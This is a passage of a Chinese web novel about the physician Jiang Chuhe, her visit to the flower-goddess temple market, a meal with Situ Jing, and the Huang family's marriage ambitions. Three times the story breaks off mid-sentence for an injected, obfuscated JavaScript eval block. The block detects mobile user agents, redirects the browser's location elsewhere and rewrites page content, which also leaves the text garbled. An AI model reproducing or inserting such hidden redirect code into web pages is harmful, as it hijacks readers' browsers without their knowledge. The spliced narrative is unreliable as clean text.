“昨日过堂时,田县令当着那么多人亲自宣的判词,乡亲们都知晓我是被冤枉的,还能说啥呀?更何况……花神会举办在即,到时定会有新的谈资,没几个人还会记着这个事儿的。” “说的也是。”钱惠姑点头,“不过……还真是难为你……小小年纪受这种罪,竟这般想得开……” 江楚禾笑了笑,没有说话。 她曾在一夕之间从世家贵女变成罪臣之后,又在短短两个月内接连失去所有亲人,甚至连辞官养老的外祖一家都未能幸免。 相比之下,受这点冤枉还真算不得什么。 见她面露苦笑,钱惠姑也不想在这恼人的话题上继续纠缠,便又同她聊起别的新鲜事:“说起花神会……江娘子可知这次的神女选中了谁?” 二月十二的花朝节是大梁举国同庆的日子,但各个地区所供奉的花神却并非同一位。 与北境供霜梅元君、江南奉青莲仙姝不同,被宁州百姓尊为花神的乃是在上古时期南北两帝之争的决胜局“弋陵之战”中,为避免众生湮灭而不惜耗尽神力的莳花神女。 据传彼时南北两军已战至天地变色、寸草不生,若非她以遁入轮回为代价换得万物复苏,弋陵又何来今日“百花之都”的名号? 因此每逢三年一度的花神会,宁州都会举办盛大的仪式来纪念莳花神女,而被选中在庆典中扮演她的女娘,则会将此视为无上的荣耀。 说来江楚禾也有些好奇,不知今年这份殊荣会花落谁家,“我还没听说呢,钱媪可有什么消息透露下?” 钱惠姑得了消息,早就按捺不住要分享的心,听她问起,忙挥起帕子回道:“就是那黄四爷家的大娘子!” 豪绅黄季正是出资赞助此次花神会的大东家,想来也是近水楼台。 江楚禾笑着应声:“是吗?说起来……我还未曾见过这位黄娘子呢!” 早在归元堂成立不久后,她便将宁州各家大户的女眷消息 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她口中的那位“陈郎”大名唤作“陈崇”,是黄季之妻陈夫人的亲侄儿,因其父过世、寡母改嫁而被养在陈夫人身边,如今已二十有二。 其实江楚禾与他并不熟识,不过就是年前给陈夫人送茯苓茶时有过一面之缘,谁知竟被惦记上了。 她原就无意婚嫁,对那位陈郎更是没有半点兴趣,闻言只好干巴巴地“哦”了一声以作敷衍。 “哎呀,江娘子!老身可要好好说说你啦!” 钱惠姑见她这副兴致缺缺的模样,忍不住又开口规劝起来。 “虽说江娘子你行得端正,可到底也是遭过了牢狱之灾,你莫怪老身说话不好听……这在别人眼中就是身子不干不净的人了。可即便这样……人家陈郎还愿意娶你,你说说……这得是多大的福分?所以啊……你可要抓紧机会,若给旁人抢先,那是后悔都没处哭的!” 后悔?悔不了一点好吗? 想到陈崇那副轻佻模样,江楚禾险些翻起白眼,不想钱媪竟还有说头。 她两眼滴溜溜地一转,又凑近些继续说道:“而且啊,这陈郎考了多次院试都只差临门一脚,没准下次就能拿个秀才回来!你现在先嫁给他,多生上几个大胖小子,等他将来有了功名,你就是官家夫人,不再是白衣商户了,那好日子还不有的是?江娘子你这般精明聪慧的女娘,可不能在终身大事上犯糊涂啊!” 江楚禾这下是真忍不住,忙赶在撩起眼皮之前,将双眸紧紧合上,叹了口气。 她懒得同钱媪理论这“院试”与“殿试”之间究竟隔着怎样的鸿沟,只是打心眼里觉得悲哀:这世道给女子的机会实在不多,以至于多数女娘都只能将希望寄托在“觅得良人”之上。 看江楚禾半晌不肯回话,耷拉着眼皮像是提不起精神的模样,钱惠姑只道她是方遭大劫,情绪还没恢复,无心惦记终身大事,便只好叹了口气,给自己找起台阶。 “唉!多的老身也不说了,江娘子你自个儿琢磨琢磨……”钱惠姑捏着帕子在她手背上拍了拍,又道:“老身待会还要去花神庙一趟,就不继续打扰你了!” “花神庙?”她下意识反问。 这倒并非江楚禾多管闲事,只因她也计划今日去那儿走上一遭,可不想撞上钱媪的说媒现场,再惹出什么不必要的麻烦。 钱惠姑不知她的真实想法,只道有人关心,忙咧起红唇分享起来。 “对啊!今日可是花神会的神女定选仪式,按规矩啊……黄娘子得在花神庙里卜筊,求得神女娘娘的允准。”说着,她双手合十,朝天拜了几下,这才继续道:“说来这是黄娘子头一回公开露面,好些乡亲都说要去瞧热闹哩!” 听见这话,江楚禾若有所思。 21. 矛盾 花神庙位于弋陵县城的正中心,据传是在莳花神女当年做法的坛场遗址上建立,自上古时期便是本地祭祀、集会之所。 而在如今的弋陵,此处的重要性不减反增,当百姓提起“花神庙”时,指的也不仅是神庙本身,还包括围绕它所形成的中央集市。 那是弋陵最繁华的市场,也是江楚禾今日的目的地。 眼下距花朝节已不足一月,若再不订购所需材料,怕是要耽搁自家在花神会上的生意。 江楚禾唯恐错过发财的良机,一早就招呼宋福张罗起来,不到三个时辰的工夫,已经与七、八家商户洽谈完毕。 “啊!今天真是要累死老娘了!”她边说边在庙前广场的角落里挑了个石凳坐下。 宋福紧随其后匆匆赶来,正听见江楚禾在那狼嚎。 “东家……唉……”他用袖口擦了把脑门上的虚汗,无奈提醒:“您可是医者,怎么好把这么不吉利的字眼挂在口边……” 他俩倒是都没啥忌讳,不过宁州百姓普遍迷信得很,为了生计还是得委屈东家多多注意言行才是。 江楚禾也明白这个道理,她瘪瘪嘴不再多言,展开手心里攥着的纸条就递给宋福,道:“喏,最后一家,阿福你自己去谈!” “我……”少年药僮顿时面露难色。 他其实并不算嘴笨,甚至在招呼熟客时称得上伶俐妥帖,可每每一到需要据理力争的节骨眼上,却总会红着脸败下阵来。 江楚禾原想他天性如此,便也没再勉强,只是此番蒙冤,才让她生出更深远的考量。 她总不能这么护着他一辈子,若将来她因往日之事再锒铛入狱,甚至身首分离…… 宋福这般软弱老实,怕是又得让人欺负了去! 所以今日一早,她便同他商量,留下一户熟识的店家让宋福独自前往商洽,借此将他的胆气慢慢练起来。 “阿福,你还磨叽什么呀?快去!”江楚禾把纸条塞进他的手中。 “可我……唉……”宋福扭捏片刻,见她没有半点妥协的意思,只得深吸一口气,带着赶赴沙场般的悲壮心情抬脚离开。 而江楚禾则是在一阵张望之后,把目光放在了花神庙前正支着摊子作画的一位清俊书生的身上。 那书生穿着本色布衣,瞧上去素净文雅,与旁边桃树两相映衬下,更显得恬淡悠然,让人忍不住走近细看。 江楚禾向前几步,很快就被其勾去注意力,驻足在那画摊之前,静静欣赏起来。 当然,吸引她的并非那执笔的男子,而是他正勾描填涂的画作。 江楚禾的祖父江钺共有三个儿子,长子江汤原是定州刺史,而江楚禾之父江淮则任大理寺卿,父子三人均居要职,在朝中曾颇受钦羡。 但是,若论及在坊间的名气,恐怕江氏满门都比不过她那从未出仕的二伯江润,即大名鼎鼎的书画家,泽甫先生。 他的作品向来勾线细润、灵动传神,可谓是自成一格。 江楚禾从未想过一个普普通通的路边书生,竟还能模仿出二伯的几分气韵。 “怎么,小娘子也对书画有研究?” 一阵沙哑的嗓音传来,江楚禾闻声回神,这才发现旁边石凳上一直坐着位中年男子,此时正拄着拐杖缓缓起身,似笑非笑地看着她。 他的眼型细长,瞳色漆黑如墨,一双晶亮招子就好似鹰眼一般,直勾勾地盯着她,让江楚禾有种像被猎手锁定的感觉。 可与那副炯炯目光所不相协调的是对方略显佝偻的身材,以及那件好像随时都能压弯他脊背的厚重大氅。 如今已快要到仲春时节,怎的还这般打扮? 江楚禾不由看向他束得又紧又高的衣领,里面透出的小半截青衿让她更为吃惊。 莫非此人还有功名在身? 就在她怔愣之时,青衿男子自顾自地开口搭话道:“这位蔡郎笔法精妙、技艺纯熟,颇具泽甫之风,小娘子可是有双慧眼啊!” 江楚禾还在失神,对面的“蔡郎”已停笔接过话头:“罗先生谬赞。小生不过学了些皮毛,远称不上精妙纯熟,距泽甫先生更是相差甚远,只是有幸在前几日得到您的一番提点,这才精进不少,说起来还得要谢过罗先生。” 他如此自谦着,中途还不忘向面前的中年男子拱了拱手。 江楚禾立时警觉起来。 这两人一唱一和,怕不是下一刻便会合起伙来哄骗她花大价钱买些不能当饭吃的劳什子回去吧! 她吓得赶忙捂紧钱袋,面不改色地扯谎道:“嗨!我哪懂这些风雅之事,不过就是……对画中讲的故事有几分兴趣罢了!” 此人所绘的正是上古时代南北帝之争中,在弋陵最终决战的场景。 据传在上古时期,此间大陆由南北两帝共同治理,双方以綦江为界,在百年之中互不侵扰,后来南帝耽于享乐、昏庸暴虐,令百姓苦不堪言,于是北帝便修德振兵,挥师南下,最终与南帝战于弋陵之丘。 在战事胶着之际,南帝请来在南境供奉百年的水神相助,纵风引雷,令江水入城,试图以北军所不擅长的水战方式将其一举屠尽,而北帝则以降神之术召唤武神相助,所到之处攻无不克,将南帝之军全数剿灭。 水神见南帝大势已去,便放弃了此前提出的“水淹弋陵”之策,主动将城中江水归入染月河,在弋陵城内分三股流过,这才以阵前倒戈换得后继之年香火不绝。 北帝终得其志,遂取“綦”字“终极”之意,以“綦皇”自称,成为天下共主,受万民拥戴。 只是彼时干戈虽已止息,可兵燹之祸却仍未消除,直到武神之妻莳花神女下凡救世,耗尽神力令此地重焕生机。 也难怪宁州百姓对莳花神女这般尊崇。 江楚禾一边想着,一边看向画卷之中那位贞亮圣洁的美人。 罗先生顺着她的视线看去,心下了然:“小娘子喜欢莳花神女?” “嗯。” 他微微一笑,道:“莳花神女不光有仁爱万物之心,还有沉鱼落雁之貌,同武神也是一对璧人,的确令人艳羡。” 据传武神讳“龑”,尚在人间时曾是雄霸一方的部落首领,因其骁勇善战而被推举为王,但却在征讨诸夷、统一部族后不久即禅位于贤,从此隐居山谷、避世绝俗,植桃树为妻,养鸱鸟为子,终其一生都未曾婚配。 在他飞升成神后,那棵桃树便化为神女相伴,而鸱鸟则变成神兽跟随,世人常将之引为佳话。 正因如此,不少女娘在前来花神庙祭拜时,除表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923006|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达对莳花神女的仰慕之情外,更是为了求得她那般倾城之貌与美好姻缘。 久而久之,就连庙内许愿池边的那棵百年桃树也被冠以“姻缘树”的称号,甚至还传出了“折一枝就成一对”的邪门名声,以至于每次一到花神会期间都险些被薅秃枝子。 然而,江楚禾可不是什么满脑子男女之情的傻丫头。 武神屠戮人间,害得神女遁入轮回。 这算哪门子的好姻缘? 她轻嗤一声,不屑回道:“倒也不是因为那个。” “哦?”见她表情这般轻蔑,罗先生有些意外。 “我只是羡慕她能‘妙手回春’罢了。”有这本事可不得发大财啊! 当然,能像武神那般百战百胜也挺不错。 光是想想,江楚禾都觉得要乐开了花。 不过话说回来,异能神力虽然可贵,却并非无往不利之术,就像武神再勇猛也不过就是綦皇手中之刃。 只有成为执刀之人,才有机会掌握命运,否则便是有覆海移山之力也逃不脱被人拿捏的结局。 想到此处她又有些不解,綦皇既有召唤神明为己所用的本事,为何不过区区十余年后便在上古贤君“天子庚”的讨伐下轻易溃败了呢? 莫非…… 还真如史载那般,上古贤君受命于天,而九霄之上确有一位天帝时常俯瞰人间,为芸芸众生挑选着中意的凡世统领? 江楚禾头一回细想此事,就被自己突然打开的思路给惊出一身冷汗。 而那双鹰眼则像是早已将她看穿。 他咳嗽几声,又哑着嗓子问道:“小娘子可是发现了其中的矛盾之处?” 江楚禾茫然回神,径直对上一双深如幽潭的眸子。 罗先生微启双唇,“历史皆由后来者书写,真相如何还需自行判断。” 说着,他举起一根手指,点了点自己的额边。 江楚禾这才发现,他的手指变形相当厉害,患痹症应当已有些年头,而那张干瘦灰败的脸孔看上去也委实病得不轻。 她正犹豫着是否要主动邀请他去归元堂好生瞧瞧,就听到花神庙前一阵骚乱,有好事者高声呼喊道:“快看啊!那个就是黄四爷家的千金!” 江楚禾循声望去。 只见一抬软轿堪堪停在花神庙前,一个中年嬷嬷正扶着位头戴幂篱的妙龄少女从花神庙中走了出来。 本朝民风还算开放,除世家望族尚在闺中的女公子不便轻易见人外,对民间女子抛头露面并没有什么说道,只是这位黄娘子久不在弋陵,实在惹人好奇,不过一眨眼的工夫,周边就已聚集起一大圈来看热闹的人群。 江楚禾也梗着脖子朝那个方向瞧去。 黄娘子身穿鹅黄窄袖短襦上衣,下着嫩绿及地百褶长裙,将上襦束入下裙之中,又把裙腰拉至腋下,巧妙地遮掩了她身量不足的劣势,远远看去要显得人高挑不少。 而在这身低调典雅又能扬长避短的穿着之外,她的仪态则更显不凡,身姿袅娜、步步生莲,即便江楚禾还没看清她的容貌,也忍不住在心中为她的“美人”之名盖章认证。 不过,江楚禾急切张望的模样虽与众人无二,可她却并非是为一睹美人芳容。 她是在找人。 22. 意气(上) 昨晚江楚禾在听说阿姎正给黄四爷的嫡女作贴身丫鬟时,便已经打定主意,必要寻机会瞧瞧她,确认她是否过得还好。 因而今早听钱媪提起黄娘子要在此处参加神女定选仪式时,就计划着顺道碰碰运气,可直到软轿摇摇晃晃地载着人离开,她都没瞅见阿姎的半点身影。 江楚禾有些失望地收回视线,这才发现之前那位奇怪的青衿男子早已经不知去向,徒留书生蔡郎一人在树下静静描画着诸神的眉眼。 “姑娘可是在找人?”蔡郎笑得温润:“小生蔡成,日日在此处摆摊,或许能帮到一二。” “那倒不必!” 她想,既然已知阿姎身在何处,倒也不急这一时半刻,横竖将来她都是要将生意做到那黄娘子头上的,不愁没有见面的机会。 毕竟谁还能没个头疼脑热呢? 提起这茬,江楚禾又想到刚才那位满面病气的青衿男子。 “蔡郎君,方才那位先生瞧着怪脸生的,你同他相熟吗?” “你是说罗先生?”蔡成微微一怔,“那位可是自越州来的秀才公,小生一介白衣,哪能高攀得起……不过就是在此处摆摊作画,罗先生路过提点了几句,如此而已。” “这样啊……”江楚禾闻言蹙眉。 那位罗先生面色虚白、气息短促,说话时咳喘频频,似有肺积之症,她正想邀此人详查,谁知不过转头瞧个热闹的工夫,他就匆匆离开了。 她只得道:“在下乃是万寿街医馆归元堂的江阿九,若下回见着罗先生,还麻烦郎君同他知会一声,便说……江某有事求见。” 蔡成听闻此言,神色变得有些古怪,“人家可是秀才公,又是越州大户人家出身,不是咱们这般身份能交往的,江娘子你何必……” 江楚禾当即“噗嗤”一笑。 这人想什么呢? 那青衿男子瞧着怎么都有四十好几,他怎会觉得自己是那种意思? 但她转念再一琢磨,又有几分理解,毕竟罗先生相貌英俊、气质儒雅,更不要说还有功名在身,看在寻常人眼中,自会当是她这女医想要高攀了。 她浅笑着解释:“郎君多虑,江某只是瞧他咳喘气促、面色有异,怕是旧疾深重,身为医者,不忍见其受苦,想着若有机缘或可尽力诊治。” 话一出口,蔡成立即羞愧得脸色涨红,连连作揖道:“这……是……是……在下小人之心……实在惭愧……” “区区误会,不必放在心上。只是郎君言语中颇有几分妄自菲薄之意,让江某有些看不下去。” “啊?”蔡成顿住。 江楚禾却是笑靥如花:“我见你笔下万物栩栩如生,画技自有风骨,令江某好生佩服,便更加想不通郎君何以自轻。” “我……”蔡成此时已羞红了脸,但唇边的笑意却是压不下去。 “三百六十行,不过都是各凭本事,你也是靠手中妙笔穿衣吃饭,哪里就比不上他们凭借锦绣文章来安身立命的呢?” 蔡成心下震动。 世人皆道“万般皆下品,惟有读书高”,他屡试不第,为此一直有些抬不起头,不想竟有人能撇开世俗的评判,这般真诚地欣赏自己的才华。 何况她还如此的…… 蔡成看着那张娇俏明媚的脸,不禁有些发痴,嗫嚅半天终于鼓足勇气,意图邀她同进晚膳以拉近关系,可刚要开口,又见对方已将视线投向别处。 “阿福?成了吗?” “嗯!”宋福见东家遥遥朝自己招手,赶忙小跑着过去,将用来提货的鸿单交到江楚禾手上,“都办好啦!东家快瞧瞧,若没有问题,咱们也该回去了。” 眼下日头已经西斜,再不赶紧,怕是没法赶在天黑前回到医馆,若是误了饭点儿,他俩倒是没啥,但家中毕竟还有客人,可不能怠慢人家。 两人皆是如此做想,于是都不约而同地加快脚步,总算赶在天黑透前顺利回到归元堂。 刚打开院门,一股香气扑面而来。 江楚禾循着味道走进内院,抬眼就见谪仙似的美男子正端着个和面盆朝她看过来。 “晏安?你……这是……” 她满脸惊诧,但司徒靖却面色如常,他微微颔首道:“回来了?先歇会儿吧,晚膳稍后就好。” 那神情那语气,仿佛一切理应如此,自然得就像是这里的男主人。 江楚禾瞠目结舌,撇下怔愣在一边的少年药僮,跟在司徒靖身后就往庖厨里钻。 锅盖掀起,升腾起的汤底香气立时溢出,她忍不住凑到锅边,吸着气惊叹道:“好香!我最喜欢汤饼了!” 人在疲惫脆弱的时候,难免会想要寻找儿时习惯的味道,离开兴京五年,江楚禾每每遇事,也还是要靠一碗汤饼才能振作。 只是近几天来,好几桩事都赶到了一起,她甚至还没找着机会抚慰一下自己疲累受伤的心。 “真是赶巧!我这几天正馋这口呢!” 江楚禾又猛吸几口香气,转过头笑盈盈地看向司徒靖。 烟气缭绕间,她隐约看见那人稍微提了下唇角。 他按捺住心中的欢喜,语气淡淡地回道:“那便去稍坐片刻吧,再有约一刻的工夫就差不多了。” 江楚禾却不肯听话,“那可不行!哪有让客人干活,我自个儿歇着的道理?” 正往锅里揪着面的手突然悬空一顿,就连空气也莫名变得滞涩起来。 直到一阵锅铲搅动声过后,她终于听得一个低哑的嗓音沉沉回道:“那便莫再将我当作客人了。” 不是客人…… 那当成什么? 江楚禾不由想起五年前,在两人同宿山洞的当晚,她解下裹胸布外缠着的那层绷带为他包扎后,这人曾说过会对她负责。 虽然当时她以“这种道理说到底就是彻头彻尾的傲慢”严词拒绝,可不得不承认,此人细致周全又沉稳可靠,堪称难得的良配,而这般相依相伴、三餐共尝的人间烟火,也的确是她阔别已久的幸福。 这么想着,她看向案板上的葱蒜,突然觉出有哪里不对。 本朝道门戒律森严、茹素禁婚,那位齐王殿下是因皇室贵胄的身份才得以豁免,可他又不同…… 当年还口口声声说要负责,怎么负,拿什么负? “江九娘子?在想什么?” 听到这个熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923007|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悉的称呼,江楚禾恍然回神,不禁暗骂自己胡思乱想。 她不是什么火场救灾与他偶遇的寻常女医,而是江相公家的九娘子,生来就要践行高祖皇帝与四世祖之间的约定,作为代表江家嫁入皇室的那位“幸运儿”。 即便曾对他有些好感,两人也注定只能止步于此,还管人家能不能成婚是做什么? “没啥,我就是在想……”江楚禾晃晃脑袋,随口便道:“你们道门中人不都是忌食五辛的吗?” “道门中人?” 糟糕!偷偷揣测人家身份被发现了! 她赶忙找补起来:“那个……我就是瞎猜……话说你们孝字营既然跟着齐王,可不得人人修道?” 江楚禾边说边仰起头看向他,一双杏眼中净是天真无辜,好像当真不懂。 “无碍,我不吃便是。”这么说着,他先盛出一碗,这才让葱花、姜丝等一一下锅。 一股辛香随蒸腾的雾气在厨房内飘散,引得江楚禾阵阵腹鸣。 “饿了?” “嗯……” 往常去花神庙同商户接洽时,她都会在附近的小吃街流连许久,直到填饱肚子才会归家,今日还是担心饿着客人才紧赶慢赶,馋虫作祟也是再合理不过。 江楚禾正想为自己的贪嘴再强词夺理一番,就见对方端出一小碟点心放在她的手边。 “桃花酥?”小馋猫两眼放光,“你居然还记得我爱吃这个!” 五年前她曾无意间跟这人提过,可没想到他竟能记到今日。 “好吃!这是哪家买的?诶……等等……你出去过?” 司徒靖点头。 今日江楚禾出门时是将院子上好锁的,但他急着给南樟发消息,便从院墙跃了出去,待办完事又采购好制作汤饼和桃花酥的一应用品,回到家时已快到日暮时分,若非他这几年在府中曾练手数次,恐怕也没这么快将点心赶制出来。 不过她并没有继续追问他桃花酥是从哪里购得,而是想起了旁的事情:“那等会儿我给你拿套钥匙,省得你老要爬墙,怪不安全的……” 司徒靖回想那不过丈余的围墙,只觉如履平地,可她既这么说,他权当是江楚禾在关心自己,连忙称是。 看他这般乖顺,江楚禾很是满意。 “放心吧!这是姐的地盘!我一定会好好保护你!”说罢,她警惕地看了看在门外来回晃悠,像是正四处找活干的宋福,压低声音道:“等晚点我去你屋,还有个宝贝送你!” 直到他将东西拿到手上,才明白江楚禾为何这般神神秘秘。 她递来的是一把形状细窄却坚韧无比的精巧刀具,两刃锋利至极,不像是在路边铁匠铺里淘来的便宜货,可刀柄和皮鞘上却没有任何纹路装饰,亦不见铸刀匠人留下的工名,朴素得就像是酒楼后厨里用来片鱼脍的柳刃。 更重要的是,司徒靖将整把匕首翻来覆去地检查,都没有找到任何代表官府许可的印记。 这是一件私自锻造的兵器! 本朝对刀具的管控十分严格,若无官府批文,便是把菜刀都不能随意买到,而私造兵器更是等同谋逆的重罪。 她居然…… 23. 意气(下) 司徒靖立即冷脸:“你……” 江楚禾唯恐这个正经人会凶巴巴地絮叨起来,忙截断话头抢先说道:“我知道朝廷对刀具管制严格,携带无印戳的兵器出门若被抓住会判以重罪,但这个并非我主动弄来的,我也是实在推脱不掉才只好收下它……” 去年江楚禾上凌霄县给鹤鸣观送货时,曾在道观后山附近救下个摔断腿的聋哑大叔,她见对方身无分文,也没打算讨要银两,权当做个善事就算,可那人却死活不愿受她恩惠,执意以这把匕首充作诊金,她拗不过,便只好将其悄悄藏下,连宋福都没敢告诉。 司徒靖听她讲完这把匕首的来历,面色总算缓和一些。 江楚禾顺势道:“你虽没有明说,但我知道,你南下定有要事,如今没有兵器在手,办起事来多少会有些不便,我日日行医又没什么机会同人搏斗,拿着它也是无用,还不如送你防身。” 有关此刀之用,她想得很清楚,虽说她是有意复仇,但绝无可能以身涉险,真刀真枪地上去拼命,毕竟对九泉之下的亲人而言,自己能够好好活下去,才是对他们最大的慰藉。 至于查探旧案之事,唯有借力打力方为上策,与其手持利刃以待时机,倒不如多予此人些许方便,没准他日还能用这份情谊换得此人相助。 想起这茬,江楚禾谆谆善诱:“更何况……我又不擅近战,甭管将来遇见什么,都不可能拿个匕首同人硬碰硬,否则如果被对方抢去,岂不更是个祸害?” 许是觉得她此言有理,司徒靖垂目思考片刻,点了点头:“既如此,在下谢过江九娘子。” “甭客气,都是兄弟!” 江楚禾豪气冲天地摆摆手,像是立时能从袖中掏出一坛烧刀子并与他当场结义。 司徒靖这么想着,眼看她还真将手又伸进袖筒,不过江楚禾掏出来的并非酒坛,而是一个沉甸甸、金灿灿的物件。 “喏,这个还你。”灯火照耀下,一枚麟趾金在她的掌心熠熠发亮。 麟趾金,即金褭蹄,因形如白麟之趾而得名,是本朝专门用于赏赐王公贵族和功臣良将的足金铸币,其背后代表的意义远非寻常金饼可比。 “我说你是不是傻?”江楚禾语气戏谑。 她将手中的麟趾金放到他的面前,又继续说道:“这玩意儿整个大梁也没几家人能弄到手,而且在民间还不能流通,你若是不想暴露身份就赶紧收回去吧。” 司徒靖当然不肯,“当日我便说过,这是用于感谢恩公救命的信物,哪有收回之理?” “信物?”她扬起柳眉,“你头一回见我啊?咱俩之间需要什么信物?” “当时……尚不知恩公的真实身份。” 许是因为江楚禾自知理亏,她总觉得这人的眼神哀怨得很,但该狡辩还是要狡辩的。 “那……现在你知道了,就不需要了吧?你当年就救过我的命,如今我这顶多算是报恩,诊金就给你免了!何况……后来你不是又救了我一次?” 听她提起这茬,司徒靖垂下眼眸。 昨晚江楚禾曾数度说到此事,像是有意将其中内情打问明白,但他若将真相和盘托出,她定会追问自己区区校尉,缘何竟能掌握朝中重臣的私隐秘辛,届时恐怕又要用另一个谎话去圆,所以他每次都巧妙地引开注意,不想今日又被她挑起话头。 “话说……”江楚禾压低声音,正色道:“弋陵官场积弊不少,那田县令虽算不得贪赃枉法之辈,但其庸碌无为也是人所共见,此番之所以用心审案、还我清白,必定是你出力周旋的结果,这一点……无论你承认与否,我都有十二分的笃定。” “不过举手之劳,江九娘子不必挂怀。” 见他如此,江楚禾心知此人无意同她细说详情,只好作罢。 “先前我多次试探,你都不肯将其中内情透露分毫,既然你不肯明说,那我便不再追问。但我虽不知其中究竟有什么利害,却明白此事不易,大恩无以为报,更无颜受此重礼。” 语毕,江楚禾抬头直直对上他的双眼,只见那人眸色闪烁,像是有万语千言。 但他说不出口。 在对视三两息后,司徒靖终是没有忍住,低声道:“莫言亏欠。凡我所为,皆是心甘情愿。” 温柔的语气,暧昧的言辞。 那种不对劲的感觉又回来了! 江楚禾脸上一烧,错开视线道:“我说晏公子,咱俩是过命的交情,互相救来救去这么些回,早就算不清了,让你住这儿、给你解毒,也都是我自个儿愿意的,就跟你自愿帮我逃脱牢狱之灾一样,用不着整这见外的一套!这麟趾金你还是快些收起来吧!” 她想,既然要靠此人帮忙调查江氏冤案,自然得让他先承情,又怎能收下如此贵重的“诊费”? 见诸多说辞都没能打动她,司徒靖只好搬出杀手锏:“那……江九娘子便当它是在我这儿‘存了个头’的信物罢,若你不肯收下,我只能现在就将这个头‘捎给你’。” 说着,他作势要跪。 阿姎那丫头当真是害人不浅! 江楚禾仰天长叹,终于就范。 * “阿嚏!” 远在黄家的阿姎猛地打了个喷嚏,在被池嬷嬷怒瞪一眼后又羞愧地低下头。 她才刚来学了两天规矩,可不能被主人家赶出去! 不过陈德音眼下倒是没那份闲心。 之前被差去请黄季回家的下人刚来回报过,还是意料之中的说辞:“家主今日事务繁忙,一时难以抽身,恐怕又要宿在外边了。” 呵,黄季甚至懒得费心换个说法来敷衍她一下。 若是在十来年前陈氏正如日中天的时候,他黄四绝不会这般毫无顾忌! 想到此处,陈德音“啪”地将手中汤匙重重掷下,面前那半碗南瓜羹应声翻倒。 屋内众人瞬时屏息。 “玫儿。” 听陈德音唤出自己的名字,池玫立即会意,赶紧招呼旁边的阿姎将桌上残局收了,两人一前一后地离开屋子。 见家里下人还算有点眼色,陈德音的心气终于平顺一些,这才向自己的女儿开口:“窈儿,你回来这几日可曾见过你父亲?” 自然是没有。 虽然回到弋陵不过就几天的光景,可她从院里下人口中听得的闲言碎语已足够拼凑出这个豪富之家表面光鲜下的另一面:她的父亲黄季,在别处还有另一个家。 黄舒窈不敢答话,只能垂下眉眼,沉默地盯着脚下。 见自家女儿这副没有出息的样子,陈德音重重叹出一口浊气,再张口时,脸上已满是泪痕,“窈儿,近些年来你没在家中,有些事可能还不明白。其实……为母早已被你父亲冷落惯了。” 她出身于凌霄陈氏,曾是宁州数一数二的地方豪族,与名门林氏具为宁王司徒骀的左膀右臂。 可在十年前的“三王之乱”中,宁王兵败身死,陈、林两家亦皆因叛逆之罪受到株连,若非黄季早早勘破时局,于乱世之中独善其身,恐怕她也没机会保住陈崇这支血脉。 在此事上,她对黄季有道不尽的感激,两人也曾举案齐眉、相敬相亲,可是自从幼子夭折、她又因病难孕后,黄季便对她越发冷淡,在外虽勉强维持着表面恩爱,但实际上却早已是有家不回。 如若只是这般便也罢了,可近些年黄季就连她的吃穿用度也多有克扣,黄舒窈在二林村田庄伴着林老夫人时,尚且能沾点光过上不错的日子,可如今回到弋陵却连个像样的丫鬟都讨不到手。 想起这茬,陈德音心里就来气:阿姎那般货色,就是放在寻常富户家里也顶多就能做个粗使丫鬟,若非她们母女落魄,怎会让这么个乡野丫头来贴身伺候嫡出千金? “窈儿,如今家中是何等境况,想必你也已心中有数,这些年里,为母能使的法子全都用过,可你父亲的心思不在咱们身上,便是为母豁出老脸也不能挽回……” 她抬手抹了把泪,看向始终低头不语的黄舒窈。 “将来咱们母女能过上什么样的日子,可就要看你的表现了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923008|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄舒窈默默点头。 她很清楚母亲在打什么主意。 身在田庄近十年,陈德音虽偶有探望,却从未提过要将这唯一的女儿接回弋陵,直到如今她岁满十五。 女子及笄,便可许嫁。 现下陈氏没落,陈崇又屡试不中,陈德音眼看重回士族阶级的梦想已成虚幻,自然要将她的婚事当成最后的救命稻草。 果然,素来高傲的陈德音又摆出一脸愁苦神色,像是有意凭借这副模样来拿捏女儿,好让黄舒窈能够从她所愿。 她叹了口气,继续道:“窈儿,你莫嫌为娘啰嗦,如今你也成年,待三月三及笄礼后便合该议亲了,可是……唉……都怪为娘……将你生在这商户之家……幸好这回还有花神会……” 在花神会上扮演莳花神女,可是宁州女子所能获得的最大殊荣,若她在花朝节时大放光彩,届时定能一举成名,为她这商户之女再添些光环,也好让那些因她多年身在田庄而生出的质疑不攻自破。 想到这些,一股不甘意气在黄舒窈心中席卷而来,上腹随之生出阵阵绞痛,额边也不住地向外冒着虚汗。 她将两手放在腹前相互攥着,紧咬牙关,不敢将异状泄露分毫。 而陈德音竟也当真没有察觉到一丝端倪,她仍喋喋不休地讲述着祖辈辉煌的过去,以及她为黄舒窈精心挑选的那位如意郎君。 